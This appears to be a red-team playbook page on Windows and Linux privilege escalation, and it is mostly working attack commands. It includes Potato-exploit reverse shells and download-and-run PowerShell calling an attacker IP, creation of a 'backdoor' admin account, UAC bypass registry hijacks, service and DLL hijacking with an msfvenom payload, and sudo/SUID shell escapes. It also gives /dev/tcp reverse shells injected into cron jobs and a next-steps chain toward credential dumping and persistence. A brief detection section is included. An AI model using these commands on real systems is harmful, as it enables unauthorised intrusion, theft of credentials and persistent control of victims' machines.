Privilege Escalation

Privilege Escalation Knowledge Base

Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.

Quick Reference

# Windows — GodPotato (service account → SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Windows — PrintSpoofer (service account → SYSTEM)
PrintSpoofer.exe -i -c cmd

# Windows — winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt

# Linux — linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt

# Linux — find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt

# Linux — check sudo privileges
sudo -l

MITRE ATT&CK Mapping

1. Windows Token Impersonation — Potato Family

GodPotato (Most Versatile)

# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"

# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"

# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"

GodPotato Details:

• Works on Windows 8 through 11, Server 2012 through 2022
• Exploits DCOM (Distributed COM) OXID resolver
• Requires: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
• Common contexts: IIS AppPool, SQL Server, service accounts

PrintSpoofer (Print Spooler Named Pipe)

# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# With PowerShell
PrintSpoofer.exe -i -c powershell.exe

PrintSpoofer Details:

• Works on Windows 10, Server 2016 and 2019
• Exploits Print Spooler service named pipe impersonation
• Requires: SeImpersonatePrivilege
• May fail if Print Spooler service is disabled (hardened environments)

SigmaPotato (Extended GodPotato Fork)

# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444

# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"

# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"

SigmaPotato Details:

• Extended OS support beyond GodPotato
• Uses .NET reflection for flexibility
• Same prerequisites: SeImpersonatePrivilege

Choosing the Right Potato

Check Prerequisites

# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)

2. UAC Bypass Techniques

fodhelper.exe Bypass

# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

# Trigger UAC bypass
fodhelper.exe

# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f

eventvwr.exe Bypass

# Set registry hijack for Event Viewer
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f

# Trigger bypass
eventvwr.exe

# Cleanup
reg delete HKCU\Software\Classes\mscfile /f

CMSTPLUA COM Object Bypass

# PowerShell COM object UAC bypass
$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID("3E5FC7F9-9A51-4367-9063-A120244FBEC7"))
$com.ShellExec("cmd.exe", "/c C:\Windows\Temp\payload.exe", "", "runas", 0)

UAC Bypass Prerequisites

- User must be in local Administrators group
- UAC must NOT be set to "Always Notify" (highest setting)
- ConsentPromptBehaviorAdmin != 2 (require consent on secure desktop)
- Check: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  - EnableLUA = 1 (UAC enabled)
  - ConsentPromptBehaviorAdmin = 5 (default — bypassable)

3. Windows Service Abuse

Unquoted Service Paths

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Example vulnerable path:
# C:\Program Files\Vulnerable App\Service Binary\app.exe
# Windows tries: C:\Program.exe → C:\Program Files\Vulnerable.exe → ...

# Exploit: place binary in writable path segment
copy C:\Windows\Temp\payload.exe "C:\Program Files\Vulnerable.exe"

# Restart service (requires service restart permission or reboot)
sc stop <SERVICE_NAME> && sc start <SERVICE_NAME>

Weak Service Permissions

# Check service permissions with accesschk
accesschk.exe /accepteula -uwcqv "<USERNAME>" * | findstr /i "RW"

# Check specific service
sc qc <SERVICE_NAME>
accesschk.exe /accepteula -ucqv <SERVICE_NAME>

# If SERVICE_CHANGE_CONFIG is granted:
sc config <SERVICE_NAME> binpath= "C:\Windows\Temp\payload.exe"
sc stop <SERVICE_NAME>
sc start <SERVICE_NAME>

# SharpUp automated check
SharpUp.exe ModifiableServices

DLL Hijacking

# Identify DLL search order hijacking opportunities
# 1. Find services loading missing DLLs (Process Monitor)
# 2. Find writable directories in DLL search path

# Common hijackable DLLs:
# - Application directory DLLs loaded before System32
# - Missing DLLs that services try to load

# Create malicious DLL (on attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o hijack.dll

# Place DLL in writable directory that appears before legitimate DLL path
copy hijack.dll "C:\Program Files\VulnApp\missing.dll"

# Trigger DLL load (restart service or wait for scheduled execution)
sc stop <SERVICE_NAME> && sc start <SERVICE_NAME>

4. Linux Privilege Escalation

SUID/SGID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Cross-reference with GTFOBins for escalation
# Common exploitable SUID binaries:
# /usr/bin/find      → find . -exec /bin/sh -p \;
# /usr/bin/vim       → vim -c ':!sh'
# /usr/bin/python3   → python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
# /usr/bin/bash      → bash -p
# /usr/bin/env       → env /bin/sh -p
# /usr/bin/nmap      → nmap --interactive → !sh (old versions)
# /usr/bin/cp        → cp /etc/shadow /tmp/shadow (read sensitive files)
# /usr/bin/wget      → overwrite /etc/passwd with crafted version

# Example: SUID python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Example: SUID find
/usr/bin/find / -name "anything" -exec /bin/bash -p \; -quit

Sudo Misconfigurations

# Check sudo privileges
sudo -l

# Common exploitable sudo entries:
# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!sh'

# (root) NOPASSWD: /usr/bin/less
sudo less /etc/shadow
# Then type: !sh

# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/sh")}'

# (root) NOPASSWD: /usr/bin/find
sudo find / -name anything -exec /bin/sh \; -quit

# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# (root) NOPASSWD: /usr/bin/env
sudo env /bin/sh

# (root) NOPASSWD: /usr/bin/tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# (root) NOPASSWD: /usr/bin/zip
sudo zip /tmp/a.zip /tmp/a -T --unzip-command="sh -c /bin/sh"

# LD_PRELOAD exploit (if env_keep += LD_PRELOAD in sudoers)
# Compile: gcc -fPIC -shared -o /tmp/pe.so pe.c -nostartfiles
# pe.c: void _init() { setuid(0); system("/bin/bash"); }
sudo LD_PRELOAD=/tmp/pe.so <allowed_command>

Linux Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null | tee capabilities_<TARGET>.txt

# Exploitable capabilities:
# cap_setuid+ep on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid+ep on perl
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# cap_dac_read_search+ep (read any file)
# Can read /etc/shadow, SSH keys, etc.

# cap_net_raw+ep (raw sockets — packet capture)
# Can sniff network traffic without root

Cron Job Exploitation

# Enumerate cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
ls -la /var/spool/cron/crontabs/

# Find writable cron scripts
find /etc/cron* -writable -type f 2>/dev/null
ls -la /etc/cron.d/

# Writable script in cron — inject reverse shell
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' >> /opt/scripts/backup.sh

# PATH injection in cron
# If crontab has: PATH=/home/user/bin:/usr/bin:/bin
# And runs: * * * * * root backup.sh
# Create: /home/user/bin/backup.sh with payload

# Cron wildcard injection (tar)
# If cron runs: tar czf /backup/files.tar.gz *
# In the target directory:
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

# pspy — monitor cron and process execution without root
./pspy64 | tee pspy_<TARGET>.txt

Kernel Exploits

# Gather kernel information
uname -a
cat /etc/os-release
cat /proc/version

# linux-exploit-suggester
./linux-exploit-suggester.sh | tee kernel_vulns_<TARGET>.txt

# linux-exploit-suggester-2 (Python)
python3 linux-exploit-suggester-2.py | tee kernel_vulns2_<TARGET>.txt

# Common kernel exploits (verify applicability before running):
# CVE-2021-4034 — PwnKit (pkexec, polkit < 0.120)
# CVE-2022-0847 — DirtyPipe (Linux 5.8-5.16.11)
# CVE-2022-2588 — route4 use-after-free (Linux 5.x)
# CVE-2023-0386 — OverlayFS (Ubuntu, various kernels)
# CVE-2023-32233 — nf_tables (Linux < 6.3.2)

# IMPORTANT: Kernel exploits can crash the system.
# Always check exact kernel version, distribution, and patch level.
# Test in non-production first when possible.

5. Automated Enumeration Tools

winPEAS (Windows)

# Full enumeration
winPEASx64.exe | tee C:\Windows\Temp\winpeas.txt

# Specific checks
winPEASx64.exe servicesinfo          # Service misconfigurations
winPEASx64.exe applicationsinfo      # Installed applications
winPEASx64.exe windowscreds          # Cached credentials, DPAPI
winPEASx64.exe userinfo              # User privilege info
winPEASx64.exe systeminfo            # OS, hotfixes, AV

# Quiet mode (less output)
winPEASx64.exe quiet servicesinfo windowscreds

linPEAS (Linux)

# Full enumeration
./linpeas.sh -a 2>&1 | tee linpeas_<TARGET>.txt

# From remote without touching disk
curl -sSL https://<ATTACKER_IP>/linpeas.sh | bash | tee linpeas_<TARGET>.txt

# Key sections to review:
# [+] SUID binaries
# [+] Capabilities
# [+] Sudo -l
# [+] Writable files/dirs
# [+] Cron jobs
# [+] Kernel version (CVEs)
# [+] Interesting files (passwords, keys)

SharpUp (Windows .NET)

# All checks
SharpUp.exe audit

# Specific checks
SharpUp.exe ModifiableServices
SharpUp.exe ModifiableServiceBinaries
SharpUp.exe AlwaysInstallElevated
SharpUp.exe UnquotedServicePath
SharpUp.exe TokenPrivileges

BeRoot (Cross-Platform)

# Windows
beRoot.exe

# Linux
python3 beroot.py

# Checks common escalation vectors automatically

Tools & Resources

Detection Signatures

Key Detection Rules

# Potato DCOM detection
- Process spawned by service account executing as SYSTEM
- Unusual DCOM/RPC traffic patterns from service context

# UAC bypass detection (Sysmon EventID 13 — Registry value set)
- TargetObject|contains:
    - 'ms-settings\Shell\Open\command'     # fodhelper
    - 'mscfile\Shell\Open\command'         # eventvwr

# Service abuse detection (EventID 7045)
- ServiceFileName|contains:
    - '\Temp'
    - '\Users'
    - Unsigned binaries in non-standard paths

# Linux — suspicious SUID/capability usage
- Unexpected setuid(0) calls from non-standard binaries
- getcap showing new capabilities on user-writable binaries

Decision Gate

Privilege Escalation ─┬─► Credential Access
                      │    (SYSTEM/root context enables LSASS dump, shadow read, key extraction)
                      │
                      └─► Persistence
                           (elevated privileges allow service install, scheduled task, rootkit)

Next steps after privilege escalation:

• SYSTEM on Windows → Dump LSASS, SAM/SECURITY hives → Credential Access skill
• SYSTEM on Domain-joined host → Extract cached domain credentials → Credential Access skill
• root on Linux → Read /etc/shadow, SSH keys, extract secrets → Credential Access skill
• Local Admin → Install persistence mechanism → Persistence
• Service account → SYSTEM → Pivot to credential extraction before moving laterally → Credential Access → Lateral Movement skill
• Need domain escalation → Use extracted creds for AD attacks → Credential Access skill